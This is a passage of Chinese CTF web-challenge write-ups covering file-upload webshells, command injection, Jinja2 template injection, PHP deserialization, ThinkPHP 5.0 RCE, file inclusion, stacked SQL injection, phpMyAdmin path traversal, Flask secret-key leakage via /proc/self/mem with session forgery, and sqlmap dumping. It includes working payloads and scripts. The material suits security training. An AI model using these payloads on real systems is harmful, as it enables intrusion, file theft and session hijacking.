upload1
打开环境 文件上传题
查看源码 发现只能上传图片
先写一个一句话木马
?php eval($_POST[1]);?>
然后改为jpg后缀 然后上传 利用BP抓包 将jpg后缀改为php后缀绕过浏览器绕过验证
发包 得到文件路径
利用蚁剑连接 获得flag
xff_referer
打开环境 给了个ip地址
根据题目提示: X老师告诉小宁其实xff和referer是可以伪造的。
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
那我们直接利用BP抓包 添加个X-Forword-For头就可以了
得到一个要求 意思就是说我们的referer 要添加这个谷歌连接
据可以获得flag
command_execution
这一题就考察ping命令和一些命令拼接的方法
输入127.0.0.1
输入127.0.0.1;
说明;没有被过滤
输入127.0.0.1;ls / 查看根目录
查看home目录
发现flag.txt 用cat查看
还有其他的命令拼接符也可获得flag
web2
打开页面就是一串代码
审计代码
分析其中的PHP内置函数
strrev(string): 反转字符串
strlen(string): 返回字符串的长度
substr(string, start, length): 返回字符串的一部分
string: 所需要的字符串
start: 在字符串何处开始
length: 可选。规定被返回字符串的长度。默认是直到字符串的结尾
ord(string): 返回字符串首个字符的 ASCII 值
chr(): 从指定的 ASCII 值返回对应的字符
str_rot13(string): 对字符串执行 ROT13 编码。
ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变
编码和解码都是由该函数完成的。如果把已编码的字符串作为参数,那么将返回原始字符串
base64_encode(string): 使用 MIME base64 对数据进行编码
分析题目中的函数
- 循环开始:给encode一个参数 $str
- 将所传参数 $str 通过 strrev() 函数反转字符串操作并赋值给 $_o
- 循环遍历 变量 $_o
- 在for循环中首先依次取字符串 $_o 的第 $_0 个值,赋值给 $_c
- 将变量 $c 转化为 ASCII码 并 +1,赋值给 $_
- 将 $__ 转化为该ASCII码所对应的字符,赋值给 $_c
- 拼接字符串,赋值给 $_ , 循环结束。
- 将拼接好后的字符串 $_ 进行 base64编码
- 将编码后的值进行反转字符串操作
- 对反转后的字符串进行 rot13 加密
- 得出结果为 $miwen
解密 $miwen
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$_o=base64_decode(strrev(str_rot13($miwen)));
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
$_=strrev($_);
echo $_;
?>
Web_python_template_injection
打开页面
Python模板注入
我们先了解一些基本概念:
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易,但是模板引擎也拓宽了我们的攻击面,注入到模板中的代码可能会引发RCE或者XSS。
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
flask是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。flask的渲染方法有render_template和render_template_string两种,render_template()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI。
在使用flask/jinja2 的模板渲染函数 render_template_string 的同时,使用%s 来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析。
模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的
首先我们检测一下是否存在模板注入
输入{{10+20}} 看来被执行了
还是先介绍一些知识
几种常用于ssti的魔术方法:
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析
__base__ 返回该对象所继承的基类
(__base__和__mro__都是用来寻找基类的)
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtins__ builtins就是引用
Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。
在python 里 [] 表示空列表,()表示空元组,{}表示空字典 对字典、列表、元祖的
取值均使用变量名 x[index or key] 的形式。
获取基类的几种方法:
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]
[].__class__.__bases__[0]
获取本类的子类
[].__class__.__base__.__subclasses__()
我们可以利用的方法有<type 'file'>等(甚至file一般是第40号)
().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
首先我们查找Object类 {{''.__class__.__mro__[?]}}
发现 {{''.__class__.__mro__[2]}} 是Object类
寻找可用引用 {{''.__class__.__mro__[2].__subclasses__()}}
可以看到有一个type file类型(可以进行文件读取)
尝试利用file类读取文件
[40]是tupe file类型出现位置,前面共有40个逗号,是第四十一个,索引值为 40 , 索引从0开始
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
能够正常回显,说明file类执行正常。
试着读取 /flag 类似的文件,服务器返回500,因为不知道具体文件名
但这里还有一个 <class ‘site._Printer’>类型(可以进行命令执行
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
[71]为<class ‘site._Printer’>出现位置
知道文件名后我们读取flag
(采用os模块的listdir函数来读取目录,可以配合file来实现任意文件读取)
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
三个常用payload:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
Web_php_unserialize
打开页面
审计代码
<?php
class Demo {
private $file = 'index.php'; //设置了类的私有变量
public function __construct($file) { //实例化对象时将会被调用
$this->file = $file; //将对象的file属性的值设置为file变量
}
function __destruct() { //当对象被销毁时将会被调用
echo @highlight_file($this->file, true); //输出读取到的文件
}
function __wakeup() { //当进行反序列化操作时候 函数将会被调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php //将对象的file参数设置为index.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) { //get方法传参
$var = base64_decode($_GET['var']); //对获取到的参数var的值进行base64解码
if (preg_match('/[oc]:\d+:/i', $var)) { //正则表达式过滤 \d匹配任意的数字 /i表示匹配时不区分大小写 /[oc]匹配oc字符
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
理一下构造pop链的思路
从参数传入的地方入手
进行了一个base64的解码 在传入参数的时候先对参数的值进行base64加密进行第一步的绕过。
进行了一个正则表达式的判断 匹配到任意长度的数字 或者oc字符都会被过滤 直接结束进程。
当正则的过滤被绕过之后 对传入的参数var的值进行反序列化处理
注意:此时__wakeup()函数会被自动调用 当其被调用时输出的文件就会被强制更改成 index.php 所以这里需要对这个函数进行绕过。
pop链
<?php
class Demo {
private $file = 'index.php'; //设置了类的私有变量
public function __construct($file) { //实例化对象时将会被调用
$this->file = $file; //将对象的file属性的值设置为file变量
}
function __destruct() { //当对象被销毁时将会被调用
echo @highlight_file($this->file, true); //输出读取到的文件
}
function __wakeup() { //当进行反序列化操作时候 函数将会被调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php //将对象的file参数设置为index.php
$this->file = 'index.php';
}
}
}
$a= new Demo('fl4g.php');//实例化对象 __construct函数将会被自动调用 fl4g.php 将会被赋值给$file变量
$c=serialize($a); //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c); //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c); //利用__wakeup()的CVE-2016-7124 在序列化的字符串当中当真实的属性个数大于真实的属性个数时 该函数不会执行
echo $c ;
$j=(base64_encode($c)); //对其进行base64编码
echo $j;
?>
得到payload:
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
给var传参发现页面没有回显
原因; 对于private变量 进行序列化时会在类名和字段名上添加保护
前后均有空格
因此对于private属性在类名和字段名前均需要添加\0
当使用浏览器提交时需要在类名和字段名前添加%00
对pop链进行修改
<?php
class Demo {
private $file = 'index.php'; //设置了类的私有变量
public function __construct($file) { //实例化对象时将会被调用
$this->file = $file; //将对象的file属性的值设置为file变量
}
function __destruct() { //当对象被销毁时将会被调用
echo @highlight_file($this->file, true); //输出读取到的文件
}
function __wakeup() { //当进行反序列化操作时候 函数将会被调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php //将对象的file参数设置为index.php
$this->file = 'index.php';
}
}
}
$a= new Demo('fl4g.php');//实例化对象 __construct函数将会被自动调用 fl4g.php 将会被赋值给$file变量
$c=serialize($a); //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c); //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c); //利用__wakeup()的CVE-2016-7124 在序列化的字符串当中当真实的属性个数大于真实的属性个数时 该函数不会执行
$c=str_replace(' ','%00',$c); //序列化私有类时 类名和字段名前会有空格 使用url传参时需要将空格替换成%00
echo $c;
$j=(base64_encode($c)); //对其进行base64编码
echo $j;
?>
得到payload
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
给var传参得到flag
php_rce
打开i环境 看到5.0版本 就可以联想到
那么这道题就是ThinkPHP 5.0远程命令执行漏洞
由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method ,这将会实例化\namespace\class类并执行method方法。
下面就来介绍一下漏洞利用
1.利用system函数远程命令执行
payload:
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
得到用户名
2.通过phpinfo函数写出phpinfo()的信息
payload:
http://61.147.171.105:61996/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
当然还有其他的这里就不多讲 可以访问https://www.cnblogs.com/backlion/p/10106676.html 进行详细的理解
那这道题如何获得flag呢
因为上面的用户名可以得到 那么我们就可以查看他的根目录
payload:
http://61.147.171.105:61996/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
找到 flag 利用cat 命令就可以得到flag
Web_php_include
打开i环境 典型的文件包含题 php://被过滤 试试其他的伪协议
我们使用data://协议进行尝试
payload:
http://61.147.171.105:60659/index.php?page=data://text/plain,<?phpinfo();?>
有回显 发现可以使用 那我们尝试查看一下目录
payload:
http://61.147.171.105:60659/index.php?page=data://text/plain,<?system('ls');?>
发现了f14gisisish3r3.php
使用cat 命令获得flag(查看源码获得)
supersqli
打开题目很明显,直接想到sql注入
经过测验 发现注入点为1'
查看列数
不是三列
试试2列 有回显 说明就2 列
接下来查询数据库名
发现select被过滤了 试了试双写绕过和大小写都不行
那只好使用堆叠注入试试和show方法
1'; show databases; --+
发现supersqli库名
看表名
1';use supersqli;show tables;--+
得到2个表名 那个数字的比较奇怪 查看什么字段试试
爆字段
提交(纯数字为表名要打引号)
1';use supersqli; show columns from `1919810931114514`;#
发现flag
下一步应该是select flag from `1919810931114514`,但是select被过滤
接下来可以用预编译
设置参数
set @sql = CONCAT('se','lect * from `1919810931114514`;');
执行预编译SQL语句
prepare stmt from @sql;
EXECUTE stmt;
payload:
1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;--+
好像set 也被过滤了 换大写就可以
获得falg
或者:
根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag
将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id
然后用1' or 1=1 #
得到flag
warmup
打开题目,f12发现:
<!--source.php-->
访问hint.php:
flag not here, and flag in ffffllllaaaagggg
看到source.php,发现源代码:
先看四个if语句,只要有一个真,就返回ture,思考构造payload使哪个成真。
第一个检查page是否为空和判断page是否为字符型
第二个判断page是否在白名单上并且mb_substr函数还会截断page中问号前面的部分
第三个是对page进行url解码,再截取。
第四个是判断截取出来的page是否在白名单上。
二到四只需要满足一个条件即可返回真,第四个最简单,直接构造/?file=hint.php?
通过资料发现,其实说的很简单,如过设置了参数file,且参数file是字符串,且使用emmm的checkFile方法检测时为true则包含这个file的内容。其实就是一个非常简单的文件包含漏洞,但他居然是一个CVE:phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
4.加载下面某个路径,就可得到flag(Include 目录穿越
)
?file=hint.php?/../../../../../ffffllllaaaagggg
?file=source.php%3f/../../../../ffffllllaaaagggg # %3f解码:?
?file=source.php%253f/../../../../ffffllllaaaagggg # %25解码:% ,加上3f又成了%3f
catcat-new
判断可能有任意文件读取漏洞。利用目录穿越读取/etc/passwd文件
发现存在漏洞 读取flag试试
发现不行 只能换思路了
读取当前进程的命令行参数?file=../../../../proc/self/cmdline,发现有一个通过python启动app.py的命令。 所以可以得出该网站使用Python框架,并且因为有app.py可知使用的是flask框架。
尝试读取app.py文件。
复制文本内容,将字符串f-string格式化输出美化一下。
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"): # 导入flag文件并删除掉
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"]) # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
以上就是app.py的代码
flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。先读取/proc/self/maps文件获取可读内容的内存映射地址。
执行破解脚本
# coding=utf-8
# ----------------------------------
###################################
# Edited by lx56@blog.lxscloud.top
###################################
# ----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:62610/"
# 此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
# ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
# Encode a Flask session cookie
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
# 匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
# 设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
# 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
# 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break
运行脚本得到Secret Key:4358eeb7d3974f499cd109ba591ab949*abcdefgh
session在访问/admin路径时的cookie中,
通过抓包得到session
利用工具flask_session_cookie_manager伪造session,先下载flask_session_cookie_manager工具,使用下列命令生成session
使用工具flask_session_cookie_manager伪造session。使用方法为:
解密 python flask_session_cookie_manager3.py decode -s “secret_key” -c “session”
加密 python flask_session_cookie_manager3.py encode -s “secret_key” -t “data”
得到伪造的session,使用burpsuite更改session并执行,得到flag。
本题知识点:
Linux系统敏感文件,flask_session_cookie_manager伪造session并执行,session存储在cookie中
/etc/passwd
该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)
/proc/self
proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据。
/proc/self/cmdline
该文件包含的内容为当前进程执行的命令行参数。
/proc/self/mem
/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。
/proc/self/maps
/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。
flask-session结构
flask_session是flask框架实现session功能的一个插件。其session结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号 “.”来进行分隔。flask_session默认session的储存是在用户Cookie中。但也可以指定存储在数据库,缓存中间件,服务器本地文件等等之中。
- /proc/self/environ
/proc/self/environ文件包含了当前进程的环境变量
- /proc/self/fd
这是一个目录,该目录下的文件包含着当前进程打开的文件的内容和路径。这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的fd目录下的pid文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容。通过/proc/self/fd/§pid§来查看你当前进程所打开的文件内容。
当pid不知道时,我们可以通过bp**,pid是数字。
- /proc/self/exe
获取当前进程的可执行文件的路径
NewsCenter
这道题环境有点问题
目标
简单的SQL注入,读取 information_schema 元数据,然后读取flag。
sqlmap 也可解。
环境
windows
工具
sqlmap
分析过程
1.初步探测,发现搜索框存在注入' union select 1,2,3 #
2.获取数据库名,表名' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #
3.获取news 表的字段名,数据类型' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#
4.获取f1agfl4gher3 字段名 数据类型' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#
5.得到flag' and 0 union select 1,2,fl4g from secret_table #
sqlmap版本
1.获取注入点
sqlmap -u http://192.168.100.161:53459 --data "search=df"
2.获取数据库信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -dbs
3.获取库内表信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables
4.获取表内字段信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns
5.获取字段内容,得到flag
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump